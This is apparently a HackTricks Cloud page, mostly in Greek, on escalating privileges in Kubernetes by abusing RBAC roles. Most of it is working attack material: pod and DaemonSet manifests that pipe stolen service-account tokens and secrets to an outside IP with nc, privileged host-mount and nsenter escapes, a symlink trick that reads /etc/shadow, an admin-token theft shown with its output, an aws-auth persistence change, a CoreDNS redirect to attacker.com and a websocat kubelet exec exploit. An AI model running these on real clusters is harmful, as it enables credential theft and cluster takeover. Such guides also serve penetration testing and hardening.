Κατάχρηση Roles/ClusterRoles στο Kubernetes
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Εδώ θα βρείτε ορισμένες ενδεχομένως επικίνδυνες διαμορφώσεις Roles και ClusterRoles.
Να θυμάστε ότι μπορείτε να πάρετε όλους τους υποστηριζόμενους πόρους με kubectl api-resources
Privilege Escalation
Ως τέχνη του να αποκτάς πρόσβαση σε έναν διαφορετικό principal μέσα στο cluster με διαφορετικά privileges (εντός του Kubernetes cluster ή σε εξωτερικά clouds) από αυτά που ήδη έχεις, στο Kubernetes υπάρχουν βασικά 4 κύριες τεχνικές για να ανεβάσεις δικαιώματα:
- Να μπορείς να impersonate άλλους user/groups/SAs με καλύτερα δικαιώματα εντός του Kubernetes cluster ή σε εξωτερικά clouds
- Να μπορείς να create/patch/exec pods όπου μπορείς να βρείς ή να attach-άς SAs με καλύτερα δικαιώματα εντός του Kubernetes cluster ή σε εξωτερικά clouds
- Να μπορείς να read secrets, καθώς τα tokens των SAs αποθηκεύονται ως secrets
- Να μπορείς να escape to the node από ένα container, όπου μπορείς να κλέψεις όλα τα secrets των containers που τρέχουν στον node, τα credentials του node, και τα permissions του node στο cloud όπου τρέχει (αν υπάρχουν)
- Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η δυνατότητα να run port-forward σε ένα pod, καθώς μπορεί να έχεις πρόσβαση σε ενδιαφέροντα resources μέσα σε εκείνο το pod.
Access Any Resource or Verb (Wildcard)
Το wildcard (*) δίνει δικαιώματα πάνω σε οποιονδήποτε πόρο με οποιαδήποτε ενέργεια (verb). Χρησιμοποιείται από admins. Εντός ενός ClusterRole αυτό σημαίνει ότι ένας attacker θα μπορούσε να καταχραστεί οποιοδήποτε namespace στο cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Πρόσβαση σε οποιονδήποτε πόρο με ένα συγκεκριμένο ρήμα
Στο RBAC, ορισμένα δικαιώματα εγκυμονούν σημαντικούς κινδύνους:
create: Χορηγεί τη δυνατότητα δημιουργίας οποιουδήποτε πόρου του cluster, θέτοντας σε κίνδυνο την αναβάθμιση προνομίων.list: Επιτρέπει την απαρίθμηση όλων των πόρων, ενδεχομένως leak ευαίσθητων δεδομένων.get: Επιτρέπει την πρόσβαση σε secrets από service accounts, αποτελώντας απειλή για την ασφάλεια.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Ένας attacker με δικαιώματα για δημιουργία pod μπορεί να επισυνάψει ένα privileged Service Account στο pod και να κλέψει το token για να εμφανιστεί ως το Service Account. Αυτό ουσιαστικά κλιμακώνει τα προνόμιά του
Παράδειγμα pod που θα κλέψει το token του Service Account bootstrap-signer και θα το στείλει στον attacker:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Τα παρακάτω δείχνουν όλα τα προνόμια που μπορεί να έχει ένα container:
- Privileged access (απενεργοποίηση προστασιών και ρύθμιση των capabilities)
- Disable namespaces hostIPC and hostPid που μπορούν να βοηθήσουν στην κλιμάκωση προνομίων
- Disable hostNetwork namespace, παρέχοντας πρόσβαση για κλοπή cloud προνομίων των nodes και καλύτερη πρόσβαση σε δίκτυα
- Mount hosts / μέσα στο container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Δημιουργήστε το pod με:
kubectl --token $token create -f mount_root.yaml
Εντολή μιας γραμμής από this tweet και με μερικές προσθήκες:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Τώρα που μπορείς να διαφύγεις στο node, έλεγξε τις τεχνικές post-exploitation στο:
Stealth
Πιθανώς θέλεις να είσαι stealthier, στις επόμενες σελίδες μπορείς να δεις τι θα μπορούσες να έχεις πρόσβαση αν δημιουργήσεις ένα pod ενεργοποιώντας μόνο μερικά από τα προαναφερθέντα privileges στο προηγούμενο template:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods
Δημιουργία Pod - Μετάβαση στο cloud
Εάν μπορείς να create ένα pod (και προαιρετικά ένα service account) ίσως να μπορείς να obtain privileges in cloud environment αναθέτοντας cloud roles to a pod or a service account και στη συνέχεια αποκτώντας πρόσβαση σε αυτό.
Επιπλέον, αν μπορείς να δημιουργήσεις ένα pod with the host network namespace μπορείς να steal the IAM role της node instance.
For more information check:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Είναι εφικτό να καταχραστείς αυτά τα permissions για να create a new pod και να escalate privileges όπως στο προηγούμενο παράδειγμα.
Το ακόλουθο yaml creates a daemonset and exfiltrates the token of the SA μέσα στο pod:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec είναι ένας πόρος στο kubernetes που χρησιμοποιείται για εκτέλεση εντολών σε shell μέσα σε ένα pod. Αυτό επιτρέπει να εκτελέσεις εντολές μέσα στα containers ή να αποκτήσεις ένα shell εσωτερικά.
Επομένως, είναι δυνατό να μπεις σε ένα pod και να κλέψεις το token του SA, ή να εισέλθεις σε ένα privileged pod, να κάνεις escape στο node, και να κλέψεις όλα τα tokens των pods στο node και να (ab)use το node:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
Εξ ορισμού η εντολή εκτελείται στο πρώτο container του pod. Πάρε όλα τα pods σε ένα container με
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'και μετά υπόδειξε το container όπου θέλεις να την εκτελέσεις μεkubectl exec -it <pod_name> -c <container_name> -- sh
Αν είναι distroless container μπορείς να δοκιμάσεις να χρησιμοποιήσεις shell builtins για να πάρεις πληροφορίες των containers ή να ανεβάσεις τα δικά σου εργαλεία όπως ένα busybox χρησιμοποιώντας: kubectl cp </path/local/file> <podname>:</path/in/container>.
port-forward
Αυτή η άδεια επιτρέπει να προωθήσεις μία τοπική θύρα σε μία θύρα στο συγκεκριμένο pod. Αυτό προορίζεται για να μπορείς να κάνεις debug εφαρμογές που τρέχουν μέσα σε ένα pod εύκολα, αλλά ένας attacker μπορεί να το καταχραστεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (π.χ. DBs) ή ευάλωτες εφαρμογές (webs?) μέσα σε ένα pod:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
As indicated in this research, αν μπορείτε να αποκτήσετε πρόσβαση ή να δημιουργήσετε ένα pod με τον hosts /var/log/ directory mounted πάνω του, μπορείτε να escape from the container.
Αυτό συμβαίνει βασικά επειδή όταν το Kube-API tries to get the logs ενός container (using kubectl logs <pod>), ζητάει το αρχείο 0.log του pod χρησιμοποιώντας το endpoint /logs/ της υπηρεσίας Kubelet.
Η υπηρεσία Kubelet εκθέτει το endpoint /logs/ το οποίο στην ουσία εκθέτει το filesystem /var/log του container.
Επομένως, ένας attacker με access to write in the /var/log/ folder του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους:
- Τροποποιώντας το αρχείο
0.logτου container του (συνήθως βρίσκεται στο/var/logs/pods/namespace_pod_uid/container/0.log) ώστε να είναι symlink pointing to/etc/shadow, για παράδειγμα. Στη συνέχεια, θα μπορέσετε να εξάγετε το hosts shadow file κάνοντας:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Αν ο attacker ελέγχει οποιοδήποτε principal με τα permissions to read
nodes/log, μπορεί απλά να δημιουργήσει ένα symlink στο/host-mounted/var/log/symπρος το/και όταν κατά την πρόσβαση στοhttps://<gateway>:10250/logs/sym/θα εμφανίζει το root filesystem του host (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Ένα εργαστήριο και ένα αυτοματοποιημένο exploit μπορούν να βρεθούν στο https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Παράκαμψη προστασίας readOnly
Εάν είστε αρκετά τυχεροί και η προνομιούχα δυνατότητα CAP_SYS_ADMIN είναι διαθέσιμη, μπορείτε απλά να επαναπροσαρτήσετε τον φάκελο ως rw:
mount -o rw,remount /hostlogs/
Παράκαμψη προστασίας hostPath readOnly
Όπως αναφέρεται στην αυτή την έρευνα είναι δυνατό να παρακαμφθεί η προστασία:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Το οποίο είχε σκοπό να αποτρέψει διαφυγές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να προσαρτήσετε έναν hosts folder στο container με writable access:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Προσποίηση λογαριασμών με προνόμια
Με το προνόμιο user impersonation, ένας επιτιθέμενος θα μπορούσε να προσποιηθεί έναν λογαριασμό με προνόμια.
Απλώς χρησιμοποιήστε την παράμετρο --as=<username> στην εντολή kubectl για να προσποιηθείτε έναν χρήστη, ή --as-group=<group> για να προσποιηθείτε μια ομάδα:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Ή χρησιμοποιήστε το REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Απαρίθμηση Secrets
Η άδεια για list secrets μπορεί να επιτρέψει σε έναν επιτιθέμενο να διαβάσει πραγματικά τα secrets μέσω πρόσβασης στο REST API endpoint:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Δημιουργία και Ανάγνωση Secrets
Υπάρχει ένας ειδικός τύπος Kubernetes secret του τύπου kubernetes.io/service-account-token που αποθηκεύει serviceaccount tokens.
Εάν έχεις δικαιώματα να δημιουργείς και να διαβάζεις secrets, και γνωρίζεις επίσης το όνομα του serviceaccount, μπορείς να δημιουργήσεις ένα secret ως εξής και στη συνέχεια να κλέψεις το token του θύματος serviceaccount από αυτό:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Παράδειγμα exploitation:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
Ανάγνωση ενός secret – brute-forcing token IDs
Ενώ ένας επιτιθέμενος που έχει στην κατοχή του ένα token με δικαιώματα ανάγνωσης χρειάζεται το ακριβές όνομα του secret για να το χρησιμοποιήσει — σε αντίθεση με το ευρύτερο listing secrets προνόμιο — εξακολουθούν να υπάρχουν ευπάθειες. Default service accounts στο σύστημα μπορούν να απαριθμηθούν, το καθένα συνδεδεμένο με ένα secret. Αυτά τα secrets έχουν δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από ένα τυχαίο πενταψήφιο αλφαριθμητικό token (εξαιρώντας ορισμένους χαρακτήρες) σύμφωνα με τον source code.
Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (bcdfghjklmnpqrstvwxz2456789), αντί για ολόκληρη την αλφαριθμητική γκάμα. Ο περιορισμός αυτός μειώνει τον συνολικό αριθμό πιθανών συνδυασμών σε 14,348,907 (27^5). Συνεπώς, ένας επιτιθέμενος θα μπορούσε ρεαλιστικά να πραγματοποιήσει ένα brute-force attack για να προσδιορίσει το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε privilege escalation μέσω πρόσβασης σε ευαίσθητα service accounts.
EncrpytionConfiguration σε απλό κείμενο
Είναι δυνατόν να βρεθούν κλειδιά σε απλό κείμενο για την κρυπτογράφηση δεδομένων at rest σε αυτόν τον τύπο αντικειμένου, όπως:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Αιτήματα Υπογραφής Πιστοποιητικών
Εάν έχετε το ρήμα create στο resource certificatesigningrequests (ή τουλάχιστον στο certificatesigningrequests/nodeClient). Μπορείτε να δημιουργήσετε ένα νέο CeSR για έναν νέο node.
Σύμφωνα με την documentation it’s possible to auto approve this requests, έτσι σε αυτή την περίπτωση δεν χρειάζεστε επιπλέον δικαιώματα. Αν όχι, θα χρειαστεί να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει update στο certificatesigningrequests/approval και approve στα signers με resourceName <signerNameDomain>/<signerNamePath> ή <signerNameDomain>/*
Ένα παράδειγμα role με όλα τα απαιτούμενα δικαιώματα είναι:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Άρα, με το νέο node CSR εγκεκριμένο, μπορείτε να abuse τις ειδικές άδειες των nodes για να steal secrets και να escalate privileges.
In this post and this one the GKE K8s TLS Bootstrap configuration is configured with automatic signing and it’s abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.
Εάν έχετε τα αναφερθέντα privileges μπορείτε να κάνετε το ίδιο. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει ένα νέο node να έχει πρόσβαση σε secrets μέσα σε containers επειδή a node can only access the secrets of containers mounted on it.
Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να create a node credentials for the node name where the container with the interesting secrets is mounted (αλλά έλεγξε απλώς πώς να το κάνεις στο πρώτο post):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Οι οντότητες (principals) που μπορούν να τροποποιήσουν configmaps στο namespace kube-system σε clusters EKS (πρέπει να βρίσκονται στο AWS) μπορούν να αποκτήσουν δικαιώματα διαχειριστή του cluster αντικαθιστώντας το configmap aws-auth.
Τα απαιτούμενα verbs είναι update και patch, ή create αν το configmap δεν είχε δημιουργηθεί:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
Μπορείς να χρησιμοποιήσεις
aws-authγια persistence δίνοντας πρόσβαση σε χρήστες από άλλους λογαριασμούς.Ωστόσο,
aws --profile other_account eks update-kubeconfig --name <cluster-name>δεν λειτουργεί από διαφορετικό λογαριασμό. Αλλά στην πραγματικότηταaws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingλειτουργεί αν βάλεις το ARN του cluster αντί για μόνο το όνομα.
Για να λειτουργήσει τοkubectl, απλώς βεβαιώσου να configure το victims kubeconfig και στα aws exec args πρόσθεσε--profile other_account_roleώστε το kubectl να χρησιμοποιεί το profile του άλλου λογαριασμού για να πάρει το token και να επικοινωνήσει με την AWS.
CoreDNS config map
Αν έχεις τα δικαιώματα να τροποποιήσεις το coredns configmap στο namespace kube-system, μπορείς να αλλάξεις τις διευθύνσεις στις οποίες θα επιλύονται τα domains ώστε να μπορέσεις να εκτελέσεις MitM επιθέσεις για να υποκλέψεις ευαίσθητες πληροφορίες ή να εισάγεις κακόβουλο περιεχόμενο.
Οι verbs που απαιτούνται είναι update και patch πάνω στο coredns configmap (ή σε όλα τα config maps).
Ένα τυπικό coredns file περιέχει κάτι σαν το παρακάτω:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Ένας επιτιθέμενος μπορεί να το κατεβάσει εκτελώντας kubectl get configmap coredns -n kube-system -o yaml, να το τροποποιήσει προσθέτοντας κάτι σαν rewrite name victim.com attacker.com έτσι ώστε κάθε φορά που γίνεται πρόσβαση στο victim.com στην πραγματικότητα να γίνεται πρόσβαση στο domain attacker.com. Και μετά να το εφαρμόσει εκτελώντας kubectl apply -f poison_dns.yaml.
Μια άλλη επιλογή είναι απλώς να επεξεργαστείτε το αρχείο εκτελώντας kubectl edit configmap coredns -n kube-system και να κάνετε τις αλλαγές.
Κλιμάκωση στο GKE
Υπάρχουν 2 τρόποι για να ανατεθούν K8s permissions σε GCP principals. Σε κάθε περίπτωση ο principal χρειάζεται επίσης το permission container.clusters.get για να μπορεί να συγκεντρώσει credentials για πρόσβαση στο cluster, ή θα χρειαστεί να generate your own kubectl config file (ακολουθήστε τον επόμενο σύνδεσμο).
Warning
When talking to the K8s api endpoint, the GCP auth token will be sent. Then, GCP, through the K8s api endpoint, will first check if the principal (by email) has any access inside the cluster, then it will check if it has any access via GCP IAM.
If any of those are true, he will be responded. If not an error suggesting to give permissions via GCP IAM will be given.
Then, the first method is using GCP IAM, the K8s permissions have their equivalent GCP IAM permissions, and if the principal have it, it will be able to use it.
The second method is assigning K8s permissions inside the cluster to the identifying the user by its email (GCP service accounts included).
Create serviceaccounts token
Principals that can create TokenRequests (serviceaccounts/token) When talking to the K8s api endpoint SAs (info from here).
ephemeralcontainers
Principals that can update or patch pods/ephemeralcontainers can gain code execution on other pods, and potentially break out to their node by adding an ephemeral container with a privileged securityContext
ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Principals with any of the verbs create, update or patch over validatingwebhookconfigurations or mutatingwebhookconfigurations might be able to create one of such webhookconfigurations in order to be able to escalate privileges.
For a mutatingwebhookconfigurations example check this section of this post.
Κλιμάκωση
As you can read in the next section: Built-in Privileged Escalation Prevention, a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the verb escalate or * over roles or clusterroles and the respective binding options.
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
Nodes proxy
Principals with access to the nodes/proxy subresource can execute code on pods via the Kubelet API (according to this). More information about Kubelet authentication in this page:
Kubelet Authentication & Authorization
nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Το Kubelet αντιστοιχίζει τις HTTP μεθόδους σε RBAC verbs πριν την αναβάθμιση του πρωτοκόλλου. Τα WebSocket handshakes πρέπει να ξεκινούν με HTTP GET (
Connection: Upgrade), οπότε το/execμέσω WebSocket ελέγχεται ως verbgetαντί του αναμενόμενουcreate. - Οι
/exec,/run,/attach, και/portforwardδεν χαρτογραφούνται ρητά και εμπίπτουν στο προεπιλεγμένοproxysubresource, οπότε το ερώτημα εξουσιοδότησης γίνεταιcan <user> get nodes/proxy? - Εάν ένα token έχει μόνο
nodes/proxy+get, η άμεση πρόσβαση WebSocket στο kubelet στοhttps://<node_ip>:10250επιτρέπει την αυθαίρετη εκτέλεση εντολών σε οποιοδήποτε pod σε εκείνο το node. Το ίδιο αίτημα μέσω του API server proxy path (/api/v1/nodes/<node>/proxy/exec/...) απορρίπτεται επειδή είναι κανονικό HTTP POST και χαρτογραφείται στοcreate. - Το kubelet δεν διενεργεί δεύτερο έλεγχο εξουσιοδότησης μετά την αναβάθμιση σε WebSocket· αξιολογείται μόνο το αρχικό GET.
Άμεσο exploit (απαιτεί δικτυακή προσβασιμότητα στο kubelet και ένα token με nodes/proxy GET):
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
- Χρησιμοποιήστε την Node IP, όχι το όνομα του κόμβου. Το ίδιο αίτημα με
curl -X POSTθα είναι Forbidden γιατί αντιστοιχεί στοcreate. - Η άμεση πρόσβαση στο kubelet παρακάμπτει τον API server, οπότε το AuditPolicy εμφανίζει μόνο τα
subjectaccessreviewsαπό το kubelet user agent και δεν καταγράφει τις εντολέςpods/exec. - Απαριθμήστε τους επηρεαζόμενους service accounts με το detection script για να βρείτε tokens περιορισμένα σε
nodes/proxyGET.
Διαγραφή pods + unschedulable nodes
Οντότητες που μπορούν να διαγράψουν pods (delete verb over pods resource), ή να εκδιώξουν pods (create verb over pods/eviction resource), ή να αλλάξουν το status ενός pod (πρόσβαση σε pods/status) και μπορούν να κάνουν άλλους κόμβους unschedulable (πρόσβαση σε nodes/status) ή να διαγράψουν nodes (delete verb over nodes resource) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να κλέψουν pods από άλλους κόμβους ώστε να εκτελεστούν στον παραβιασμένο κόμβο και ο επιτιθέμενος να κλέψει τα tokens από αυτά τα pods.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Κατάσταση υπηρεσιών (CVE-2020-8554)
